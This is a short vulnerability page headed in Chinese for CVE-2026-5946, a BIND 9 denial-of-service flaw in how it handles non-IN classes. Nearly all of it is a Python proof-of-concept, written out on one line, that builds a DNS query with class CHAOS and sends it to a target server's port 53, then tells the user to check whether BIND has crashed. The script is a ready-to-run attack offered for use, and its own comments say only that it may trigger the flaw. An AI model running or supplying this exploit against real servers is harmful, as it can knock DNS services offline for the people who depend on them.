CVE-2026-5946 BIND 9 非IN类处理DoS漏洞

# PoC for CVE-2026-5946: BIND 9 Non-IN Class Handling DoS # This script sends a crafted DNS query with a CHAOS class to potentially trigger the assertion failure. import socket import struct def craft_dns_packet(): # DNS Header: Transaction ID, Flags, Questions, Answer RRs, Authority RRs, Additional RRs # ID=0x1337, Flags=0x0100 (Recursion Desired), QDCOUNT=1 header = struct.pack('!HHHHHH', 0x1337, 0x0100, 1, 0, 0, 0) # Question Section: Name, Type, Class # Name: "." (root) in DNS format (0x00) # Type: A (1) # Class: CHAOS (3) instead of IN (1) to potentially trigger the flaw question = b'\x00' + struct.pack('!HH', 1, 3) return header + question def send_poc(target_ip, target_port=53): try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) packet = craft_dns_packet() sock.sendto(packet, (target_ip, target_port)) print(f"[+] PoC packet sent to {target_ip}:{target_port}") print("[+] Check if the BIND service has crashed or logged an assertion failure.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "192.168.1.100" # Replace with actual target IP send_poc(target)